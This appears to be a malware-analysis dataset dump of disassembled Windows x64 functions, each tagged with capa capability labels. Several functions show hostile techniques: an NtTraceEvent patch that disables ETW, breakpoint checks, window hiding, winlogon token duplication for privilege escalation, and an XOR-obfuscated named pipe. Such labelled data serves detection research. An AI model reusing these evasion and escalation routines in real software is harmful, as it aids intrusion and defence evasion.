joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002020
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002cf2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000c168]
test eax, eax
je 0x140002d8a
lea rax, [0x14000c140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000c170]
mov qword [rbp - 8], rax
jmp 0x140002d6e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002d62
cmp qword [rbp - 0x10], 0
je 0x140002d62
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002d28
lea rax, [0x14000c140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140002d8b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002e90
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002eb8
mov eax, 0
jmp 0x140002f06
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002ee1
mov eax, 0
jmp 0x140002f06
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002f01
mov eax, 0
jmp 0x140002f06
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140002f0c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140002f8a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002f81
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002f81
mov rax, qword [rbp - 8]
jmp 0x140002f9f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002f54
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1c2381560
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
mov byte [rbp - 5], al
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov dword [rbp - 4], 0
lea rdx, [rbp - 0x10]
lea rax, [rbp - 5]
mov rcx, rax
call fcn.1c23814ad
movzx eax, byte [rbp - 5]
movzx eax, al
cmp eax, 0xff
je 0x1c23815fc
cmp eax, 0xff
jg 0x1c238162f
cmp eax, 0xeb
je 0x1c23815cc
cmp eax, 0xeb
jg 0x1c238162f
cmp eax, 0xe9
je 0x1c23815dc
cmp eax, 0xea
je 0x1c23815ec
jmp 0x1c238162f
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
jmp 0x1c238162f
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 5
mov dword [rbp - 4], eax
jmp 0x1c238162f
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 7
mov dword [rbp - 4], eax
jmp 0x1c238162f
mov rax, qword [rbp + 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x25
jne 0x1c238161f
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 6
mov dword [rbp - 4], eax
jmp 0x1c238162e
mov rax, qword [rbp - 0x10]
sub rax, qword [rbp + 0x10]
add eax, 2
mov dword [rbp - 4], eax
nop
nop
cmp dword [rbp - 4], 5
jne 0x1c238164c
jmp 0x1c238163b
add dword [rbp - 4], 1
mov edx, dword [rbp - 4]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0xcc
je 0x1c2381637
mov eax, dword [rbp - 4]
add rsp, 0x30
pop rbp
ret
Function at 0x1c2381b79
Capabilities:
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x18]
lea rdx, str..exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1c2381c67
lea rdx, [0x1c2691798]
mov rcx, qword [rbp + 0x10]
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x1c2381c6a
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_ftell
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1c2381c6d
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_fseek
mov edx, dword [rbp - 0xc]
mov rcx, qword [rbp - 8]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sub.msvcrt.dll_fread
mov rcx, qword [rbp + 0x20]
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call fcn.1c23818cd
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
jmp 0x1c2381c6e
nop
jmp 0x1c2381c6e
nop
jmp 0x1c2381c6e
nop
add rsp, 0x40
pop rbp
ret

Function at 0x1c2381c74
Capabilities:
Enumerate process modules

Disassembly:
push rbp
sub rsp, 0x260
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
mov ecx, 0x18
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x1d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 5
je 0x1c2381d27
mov dword [rbp - 0x60], 0x238
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1c2381d27
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381b79
jmp 0x1c2381d10
mov rcx, qword [rbp - 0x48]
lea rax, [rbp - 0x60]
lea rdx, [rax + 0x30]
lea rax, [rbp - 0x60]
add rax, 0x130
mov r8, rcx
mov rcx, rax
call fcn.1c2381b79
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x1c2381cef
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x260
pop rbp
ret
Function at 0x1c2381d44
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp - 0x1c], 0xc3c03348
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp - 0x26], rax
mov word [rbp - 0x1e], 0x6c
lea rax, [rbp - 0x26]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
movabs rax, 0x456563617254744e
mov qword [rbp - 0x33], rax
mov dword [rbp - 0x2b], 0x746e6576
mov byte [rbp - 0x27], 0
lea rdx, [rbp - 0x33]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], 4
mov dword [rbp - 0x38], 0
lea rcx, [rbp - 0x38]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
lea rax, [rbp - 0x1c]
mov edx, dword [rax]
mov rax, qword [rbp - 0x10]
mov dword [rax], edx
mov ecx, dword [rbp - 0x38]
lea r8, [rbp - 0x3c]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
nop
add rsp, 0x60
pop rbp
ret

Function at 0x1c2381e10
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0x3a98
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.1c2381c74
call fcn.1c2381d44
mov rax, qword [sym.imp.USER32.dll_GetActiveWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call fcn.1c2381401
nop
add rsp, 0x20
pop rbp
ret

Function at 0x1c2381edc
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov qword [0x1c2694020], rax
cmp dword [rbp + 0x18], 3
je 0x1c2381f63
cmp dword [rbp + 0x18], 3
ja 0x1c2381f6a
cmp dword [rbp + 0x18], 2
je 0x1c2381f66
cmp dword [rbp + 0x18], 2
ja 0x1c2381f6a
cmp dword [rbp + 0x18], 0
je 0x1c2381f69
cmp dword [rbp + 0x18], 1
jne 0x1c2381f6a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x1c2381e77]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 8], rax
mov ecx, 0xfa
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x1c2381f6a
nop
jmp 0x1c2381f6a
nop
jmp 0x1c2381f6a
nop
mov eax, 1
add rsp, 0x40
pop rbp
ret

Function at 0x1c2382120
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1c2382f00
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.1c2382f00
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x1c2382190
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1c2694074]
mov r12, rcx
test ebx, ebx
jle 0x1c23822c0
mov rax, qword [0x1c2694078]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x1c23821dc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x1c2382263
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x1c23821c0
mov rcx, r12
call fcn.1c2382910
mov rsi, rax
test rax, rax
je 0x1c23822e2
mov rax, qword [0x1c2694078]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.1c2382a40
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1c2694078]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1c23822c7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1c238225c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1c2382270
add dword [0x1c2694074], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1c2694078]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1c238225c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1c2382120
nop dword [rax]
xor ebx, ebx
jmp 0x1c23821e7
mov rax, qword [0x1c2694078]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1c2382120
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1c2382120
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1c2382580
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1c26940a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1c2694080]
test rbx, rbx
je 0x1c23825d4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1c23825cb
test r12, r12
je 0x1c23825cb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1c23825b0
lea rcx, [0x1c26940a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1c2382910
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1c2691980]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1c2382930
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1c2382938
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1c2382930
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1c2382985
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1c238297c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1c2382930
add rax, 0x28
cmp rax, r9
jne 0x1c2382968
xor eax, eax
ret

Function at 0x1c2382990
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1c2691980]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1c23829b0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1c23829b8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1c23829b0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x1c2382a40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1c2691980]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1c2382a60
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1c2382a68
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x18000b704
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
not r8d
test rdx, rdx
je 0x18000b732
movzx eax, byte [r9]
inc r9
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x1800a4820]
xor r8d, dword [rax + rcx*4]
sub rdx, 1
jne 0x18000b70f
not r8d
mov eax, r8d
ret

Function at 0x18000b73c
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18000b796
mov r11b, 0x23
lea rdi, [0x1800a4820]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x18000b780
cmp rdx, 2
jb 0x18000b780
cmp byte [r10], r11b
jne 0x18000b780
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x18000b75e
jmp 0x18000b7d7
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x18000b7d7
mov r11b, 0x23
lea rdi, [0x1800a4820]
cmp dl, r11b
jne 0x18000b7bb
cmp byte [r10], r11b
jne 0x18000b7bb
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x18000b7a9
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret
Function at 0x180044c80
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rdx, 0xcbf29ce484222325
xor r8d, r8d
movzx eax, byte [r8 + rcx]
movabs r9, 0x100000001b3
xor rdx, rax
inc r8
imul rdx, r9
cmp r8, 8
jb 0x180044c8d
mov rax, rdx
ret
Function at 0x18005b060
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xb8]
sub rsp, 0x190
mov eax, 1
mov r15, r8
mov r13d, edx
mov dword [rsp + 0x48], eax
mov r12d, ecx
mov dword [rsp + 0x4c], eax
lea r8, [rsp + 0x50]
xor ecx, ecx
lea rdx, str.SeTcbPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x18005b203
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x18005b203
xor r14d, r14d
mov dword [rsp + 0x60], 0x130
lea rdx, [rsp + 0x60]
mov rcx, rax
mov ebx, 0x490
call sub.KERNEL32.dll_Process32First
jmp 0x18005b1f0
lea rdx, str.winlogon.exe
lea rcx, [rbp - 0x74]
call fcn.180085504
test eax, eax
jne 0x18005b1e3
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x18005b1de
lea r8, [rsp + 0x38]
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18005b1d5
mov rcx, qword [rsp + 0x38]
lea r8, [rbp + 0xd8]
lea rdx, [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
je 0x18005b1cc
cmp dword [rbp + 0xd8], 0
je 0x18005b1cc
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
lea edx, [r9 + 8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x18005b1cc
cmp dword [rsp + 0x30], r12d
jne 0x18005b1cc
mov rcx, qword [rsp + 0x38]
mov r14d, 1
mov qword [rsp + 0x28], r15
xor r8d, r8d
mov edx, r13d
lea eax, [r14 + 1]
mov r9d, eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x18005b1c4
xor ebx, ebx
jmp 0x18005b1cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
jne 0x18005b1f8
lea rdx, [rsp + 0x60]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x18005b0f1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18005b20b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea r11, [rsp + 0x190]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1800628a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x150
xor edx, edx
mov dword [rsp + 0x20], 0x130
mov rsi, rcx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea rdx, [rsp + 0x20]
mov rcx, rax
mov rdi, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x180062915
mov ebx, 1
lea rcx, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rcx
movzx eax, byte [rcx]
movzx r8d, byte [rcx + rdx]
sub eax, r8d
jne 0x180062900
add rcx, rbx
test r8d, r8d
jne 0x1800628eb
test eax, eax
je 0x180062917
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1800628e0
xor bl, bl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x150]
mov al, bl
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret

Function at 0x180062ab4
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x1038
call fcn.18006f460
sub rsp, rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x1048]
lea r8d, [rax - 0x39]
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180062af3
cmp dword [rsp + 0x1048], 0
je 0x180062af3
lea rax, [rsp + 0x30]
jmp 0x180062b1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x180062b19
lea rdx, str.Pipe_has_been_closed.
lea rcx, [0x1805927b0]
call fcn.180042628
mov rcx, rax
call fcn.180047e10
xor eax, eax
add rsp, 0x1038
ret
Function at 0x180065da8
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
and qword [rsp + 0x38], 0
mov rbx, rcx
and dword [rsp + 0x30], 0
movabs rcx, 0x5ff3b924bfd2e780
movabs rax, 0xc94c3cd72dec1a39
mov r9d, 0xff
mov qword [rbp + 0x10], rax
xor r8d, r8d
mov rax, qword [rbp + 0x10]
mov edx, 0x40000003
mov qword [rbp - 0x40], rax
movabs rax, 0x7acc5529eef4636a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x38], rax
movabs rax, 0x72ef7b456cd4df77
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x30], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x28], rax
movabs rax, 0xac3c55a771c24665
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x20], rax
movabs rax, 0x5785006ebdb62c36
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x18], rax
movabs rax, 0x72ef7b4529849627
movdqa xmm0, xmmword [rbp - 0x20]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp - 0x40]
mov rax, qword [rbp + 0x10]
movdqa xmm1, xmmword [rbp - 0x30]
xorps xmm0, xmmword [rbp - 0x40]
mov qword [rbp - 8], rax
mov eax, 0x200
xorps xmm1, xmmword [rbp - 0x10]
mov dword [rsp + 0x28], eax
movdqa xmmword [rbp - 0x30], xmm1
mov dword [rsp + 0x20], eax
movdqa xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rbx], rax
cmp rax, 0xffffffffffffffff
jne 0x180065ed5
lea rdx, str.Failed_to_create_pipe.
lea rcx, [0x1805927b0]
call fcn.180042628
mov rcx, rax
call fcn.180047e10
xor al, al
jmp 0x180065ed7
mov al, 1
mov rbx, qword [rsp + 0x98]
add rsp, 0x80
pop rbp
ret
Function at 0x18006d448
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x18006d476
xor eax, eax
jmp 0x18006d55c
cmp qword [rcx + 0x68], 0
je 0x18006d487
call fcn.18006d578
jmp 0x18006d55c
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x18006d49e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18006d4a0
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18006d4d2
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.18009eae0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x18006d556
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x18006d509
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x18006d532
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.180076efc
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x18006d556
cmp rsi, rbx
ja 0x18006d510
test rsi, rsi
je 0x18006d556
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.180076efc
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret